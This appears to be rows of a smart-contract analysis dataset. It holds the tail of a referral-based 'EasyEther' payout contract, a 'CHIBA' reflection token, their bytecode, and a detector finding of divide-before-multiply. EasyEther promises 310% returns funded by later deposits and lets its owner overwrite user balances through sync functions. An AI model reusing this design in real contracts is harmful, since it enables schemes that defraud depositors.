require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
payable(owner()).transfer(_amount / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount / 20;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external whenNotPaused {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external whenNotPaused {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 31 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract Sync is EasyEther {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
//require(users[_uplines[i]].total_deposits > 0, "No upline");
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,256 |
0x4BA1B233293736C7E559BE59CF2Fa382D6c4b891
|
/**
*Submitted for verification at Etherscan.io on 2021-04-20
*/
/**
* CHIBA (Cannabis Shiba)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 420 * 10**6 * 10**18;
string private _name = 'Cannabis Shiba';
string private _symbol = 'CHIBA';
uint8 private _decimals = 18;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private giveawayWallet;
uint256 private constant MAX = ~uint256(0);
uint256 private _supplyRemaining = (MAX - (MAX % _totalSupply));
uint256 private _holdersRewards = 0;
uint256 private _rholdersRewards = 0;
constructor (address _giveawayWallet) {
giveawayWallet = _giveawayWallet;
_balances[_msgSender()] = _supplyRemaining;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _holderBalance(_balances[account]);
}
function giveawayWalletBalance() public view returns (uint256) {
return _holderBalance(_balances[giveawayWallet]);
}
function holdersRewards() public view returns (uint256) {
return _rholdersRewards;
}
function _holderBalance(uint256 accountBalance) private view returns(uint256) {
require(accountBalance <= _supplyRemaining, "Amount must be less than total supply");
uint256 currentRate = _getRate();
return accountBalance.div(currentRate);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
uint256 currentRate = _getRate();
uint256 amountAdjusted = amount.mul(currentRate);
require(senderBalance >= amountAdjusted, "ERC20: transfer amount exceeds balance");
(uint256 transferAmount, uint256 _giveawayRewards, uint256 _holdersRewardsAmount) = _transferFee(amount);
//set balances for sender and recipient
_balances[sender] = _balances[sender].sub(amountAdjusted);
_balances[recipient] = _balances[recipient].add(transferAmount.mul(currentRate));
//giveaway rewards
uint256 _giveawayRewardsAdjusted = _giveawayRewards.mul(currentRate);
_balances[giveawayWallet] = _balances[giveawayWallet].add(_giveawayRewardsAdjusted);
//redistribution to holders
uint256 _holdersRewardsAmountAdjusted = _holdersRewardsAmount.mul(currentRate);
_holdersRewards = _holdersRewards.add(_holdersRewardsAmountAdjusted);
_rholdersRewards = _rholdersRewards.add(_holdersRewardsAmount);
_supplyRemaining = _supplyRemaining.sub(_holdersRewardsAmountAdjusted);
emit Transfer(sender, recipient, transferAmount);
}
function _transferFee(uint256 transferAmount) private pure returns (uint256, uint256, uint256) {
uint256 _holdersRewardsAmount = transferAmount.mul(4).div(100);
uint256 _giveawayRewards = transferAmount.mul(2).div(100);
transferAmount = transferAmount.sub(_holdersRewardsAmount);
transferAmount = transferAmount.sub(_giveawayRewards);
return (transferAmount, _giveawayRewards, _holdersRewardsAmount);
}
function _getRate() private view returns(uint256) {
return _supplyRemaining.div(_totalSupply);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610468578063a9059cbb146104cc578063dd62ed3e14610530578063f2fde38b146105a857610100565b806370a082311461034f578063715018a6146103a75780638da5cb5b146103b157806395d89b41146103e557610100565b806323b872dd116100d357806323b872dd14610228578063313ce567146102ac57806339509351146102cd5780634409f6b71461033157610100565b8063047d0f061461010557806306fdde0314610123578063095ea7b3146101a657806318160ddd1461020a575b600080fd5b61010d6105ec565b6040518082815260200191505060405180910390f35b61012b6105f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f2600480360360408110156101bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610698565b60405180821515815260200191505060405180910390f35b6102126106b6565b6040518082815260200191505060405180910390f35b6102946004803603606081101561023e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c0565b60405180821515815260200191505060405180910390f35b6102b46107ce565b604051808260ff16815260200191505060405180910390f35b610319600480360360408110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e5565b60405180821515815260200191505060405180910390f35b610339610888565b6040518082815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b6040518082815260200191505060405180910390f35b6103af61094a565b005b6103b9610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ed610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042d578082015181840152602081019050610412565b50505050905090810190601f16801561045a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104b46004803603604081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b610518600480360360408110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9c565b60405180821515815260200191505060405180910390f35b6105926004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cba565b6040518082815260200191505060405180910390f35b6105ea600480360360208110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d41565b005b6000600a54905090565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068e5780601f106106635761010080835404028352916020019161068e565b820191906000526020600020905b81548152906001019060200180831161067157829003601f168201915b5050505050905090565b60006106ac6106a5610f4c565b8484610f54565b6001905092915050565b6000600154905090565b60006106cd84848461114b565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610718610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611b446028913960400191505060405180910390fd5b6107c2856107ba610f4c565b858403610f54565b60019150509392505050565b6000600460009054906101000a900460ff16905090565b600061087e6107f2610f4c565b848460066000610800610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401610f54565b6001905092915050565b60006108f460056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611631565b905090565b6000610943600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611631565b9050919050565b610952610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b5050505050905090565b60008060066000610baa610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611bda6025913960400191505060405180910390fd5b610c91610c88610f4c565b85858403610f54565b600191505092915050565b6000610cb0610ca9610f4c565b848461114b565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d49610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ab56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611bb66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611adb6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b916025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611257576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a926023913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006112a56116b5565b905060006112bc82856116d390919063ffffffff16565b905080831015611317576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611afd6026913960400191505060405180910390fd5b600080600061132587611759565b92509250925061137d84600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ef90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114246113d686856116d390919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061147c86846116d390919063ffffffff16565b90506114f28160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061156c87846116d390919063ffffffff16565b90506115838160095461183990919063ffffffff16565b60098190555061159e83600a5461183990919063ffffffff16565b600a819055506115b9816008546117ef90919063ffffffff16565b6008819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600060085482111561168e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b6c6025913960400191505060405180910390fd5b60006116986116b5565b90506116ad81846118c190919063ffffffff16565b915050919050565b60006116ce6001546008546118c190919063ffffffff16565b905090565b6000808314156116e65760009050611753565b60008284029050828482816116f757fe5b041461174e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b236021913960400191505060405180910390fd5b809150505b92915050565b60008060008061178660646117786004886116d390919063ffffffff16565b6118c190919063ffffffff16565b905060006117b160646117a36002896116d390919063ffffffff16565b6118c190919063ffffffff16565b90506117c682876117ef90919063ffffffff16565b95506117db81876117ef90919063ffffffff16565b955085818394509450945050509193909250565b600061183183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190b565b905092915050565b6000808284019050838110156118b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061190383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119cb565b905092915050565b60008383111582906119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561197d578082015181840152602081019050611962565b50505050905090810190601f1680156119aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578082015181840152602081019050611a21565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a8357fe5